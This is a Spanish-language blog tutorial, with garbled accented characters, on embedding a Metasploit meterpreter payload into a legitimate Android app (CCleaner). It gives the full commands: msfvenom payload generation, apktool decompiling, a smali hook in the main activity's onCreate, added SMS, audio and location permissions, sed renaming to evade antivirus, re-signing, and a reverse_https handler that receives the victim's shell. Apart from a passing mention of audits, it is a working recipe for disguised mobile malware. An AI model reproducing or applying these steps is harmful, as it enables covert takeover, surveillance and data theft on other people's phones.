Wednesday, September 6, 2017

Tutorial para modificar un APK añadiéndole un payload msf

Tutorial para modificar un APK añadiéndole un payload msf


Ya sab�is que un APK es un paquete de aplicaci�n de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicaci�n y el instalador en el mismo paquete.


Lo que vamos a ver a continuaci�n es un peque�o tutorial de c�mo desempaquetar un .apk, y luego modificarlo a�adiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app leg�tima a la vez que nuestro payload dejando infectado el dispositivo Android.


Cuando nos encontremos ante una auditor�a podremos aplicar esta t�cnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que lo importante es no instalar nunca aplicaciones de fuentes poco fiables.


Espero que disfrut�is de este peque�o tutorial tanto como yo lo he disfrutado haci�ndolo.


Para empezar generamos el payload para Android con msf:


msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk




Luego nos descargamos una apk leg�tima como por ejemplo ccleaner y decompilamos las dos con apktool:


apktool d -f -o payload meterpreter.apk

apktool d -f -o original ccleaner.apk



Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform


Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que quer�is)




Buscamos las l�neas siguientes que nos servir�n como gu�a para encontrar la ruta a la aplicaci�n principal que es la que nosotros queremos modificar:


<action android_name="android.intent.action.MAIN"/>
<category android_name="android.intent.category.LAUNCHER"/>


Encima de �stas, encapsul�ndolas habr� una etiqueta <activity

Nos fijamos en la propiedad Android:name= de esta etiqueta que tendr� una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"


Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que ser� algo parecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Ser� una "/".


Editamos este fichero .smali y buscamos la l�nea:


;->onCreate(Landroid/os/Bundle;)V

En la siguiente l�nea a esta ponemos:


invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V


Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y despu�s contin�e con la ejecuci�n normal de la app legitima




Ahora vamos a a�adir m�s permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicaci�n ./original/ y modificamos el AndoridManifest.xml



A�adiremos los permisos que consideremos, en mi caso puse estos:


<uses-permission android_name="android.permission.ACCESS_COURSE_LOCATION"/>

 <uses-permission android_name="android.permission.CHANGE_WIFI_STATE"/>

 <uses-permission android_name="android.permission.ACCESS_FINE_LOCATION"/>

 <uses-permission android_name="android.permission.SEND_SMS"/>

 <uses-permission android_name="android.permission.RECEIVE_SMS"/>

 <uses-permission android_name="android.permission.RECORD_AUDIO"/>

 <uses-permission android_name="android.permission.CALL_PHONE"/>


Si lo que queremos es pon�rselo mas dif�cil a un antivirus que tuviera el m�vil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit


sed -i s/metasploit/conf-schema/g `rgrep -r metasploit ./* | awk {print $1} | cut -d: -f1`

sed -i s/Payload/init-conf `rgrep -r Payload ./* | awk {print $1} | cut -d: -f1`

sed -i s/payload/init-conf `rgrep -r payload ./* | awk {print $1} | cut -d: -f1`


Despu�s de eso debemos de cambiar el fichero Payload.smali por init-config.smali



tambi�n cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, adem�s de todo eso deberemos de cambiar la l�nea

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V


que hemos puesto antes con el nombre correspondiente:


invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V


yo he puesto estos nombres pero pod�is poner lo que quer�is, ahora vamos a recompilar otra vez la app, hacemos:


apktool b original/


A continuaci�n comenzar� a construir nuestra app.



Dentro del directorio ./original/dist estar� nuestra apk construida/compilada.


Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android


mkdir ~/.android


Generamos la key para firmar con:


keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"


Para firmar con esa firma hacemos:


jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey


Ahora nos queda dejar a la escucha el metasploit con:


msfconsole

use exploit/multi/handler

set Payload android/meterpreter/reverse_https

set LHOST 192.168.1.135

set LPORT 8181

set ExitOnSession False

exploit -j -z


Ejecutamos la app en el m�vil:



Deber�amos ver como se conecta nuestro meterpreter.


Nota: puede que nos pida que habilitemos las opciones de or�genes desconocidos.


Y bueno este es el final del manual , no voy a explicar el funcionamiento del metasploit ya que si lo conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los pasos y te aventures a realizar el Lab.


Tambi�n dejo disponible la versi�n en PDF por si lo dese�is descargar:



Fuentes:
- http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/
- http://www.elandroidelibre.com/2016/02/modifica-y-clona-cualquier-aplicacion-con-apk-editor.html
- https://ibotpeaches.github.io/Apktool/documentation/


download file now